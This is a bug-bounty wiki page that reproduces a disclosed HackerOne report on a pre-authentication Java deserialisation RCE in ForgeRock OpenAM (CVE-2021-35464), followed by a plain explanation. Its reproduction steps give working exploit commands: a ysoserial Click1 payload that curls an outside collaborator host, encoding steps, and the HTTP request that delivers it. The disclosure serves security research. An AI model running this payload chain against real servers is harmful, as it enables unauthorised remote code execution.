Skip to content
RCE Disclosed report Advanced CVE-2021-35464

Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464)

Unsafe Java deserialisation in OpenAM's Jato framework lets an unauthenticated attacker execute code; the reporter showed a crafted payload triggering a collaborator request.

fdeleite Follow

Originally disclosed on HackerOne

  • Triaged in 6 hours
  • Fixed in 21 days
  • Disclosed after 29 days

RCE is possible thanks to unsafe Java deserialization in the Jato framework used by OpenAM.

Supporting Material/References

Impact

An unauthenticated, 3rd-party attacker or adversary can execute remote code

System Host(s)

████

Affected Product(s) and Version(s)

ForgeRock OpenAM

CVE Numbers

CVE-2021-35464

Steps to Reproduce

First we need to build the payload:

  1. Download this jar file

wget https://github.com/Bin4xin/sweet-ysoserial/blob/master/target/ysoserial-0.0.6-SNAPSHOT-all.jar

then java -jar ysoserial-master-SNAPSHOT.jar Click1 "curl https://g0h7qcjzwzpzdh2ar6b5f9x3puvkj9.burpcollaborator.net" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '=' | tr -d '\n' > payload.txt

You need to change the burp Collaborator id to test it properly.

The payload is now saved in the payload.txt file.

Now we need to use the following request:

GET /██████████=XYZ HTTP/1.1
Host: 127.0.0.1

Replace XYZ by the payload saved into the payload.txt file.

The response

HTTP/1.1 302 Found
Cache-Control: private
Location: https://127.0.0.1:443/openam/base/AMInvalidURL
Content-Length: 0

The HTTP Request sent the collaborator :

███

Suggested Mitigation/Remediation Actions

The original report as published on HackerOne, by fdeleite. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the Jato framework deserialises a user-controlled request parameter without validating or restricting the classes that can be instantiated.

Impact

An unauthenticated attacker could execute arbitrary code on the OpenAM server.

What the attacker needed

Network access to the OpenAM endpoint; no authentication needed

How it was found

  1. Build a serialised payload with a gadget tool, targeting a collaborator host.
  2. Encode the payload and prepend a null byte, then base64url-encode it.
  3. Send a GET request with the encoded payload in a parameter.
  4. Observe the server returning a redirect and the collaborator receiving a request.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a Java application receives data, it can turn it back into objects, a process called deserialisation. If an attacker controls that data, they can craft it so the application builds a dangerous object that runs their commands. Here the server did this before checking who was asking, so no login was needed.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by fdeleite

View all

18 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.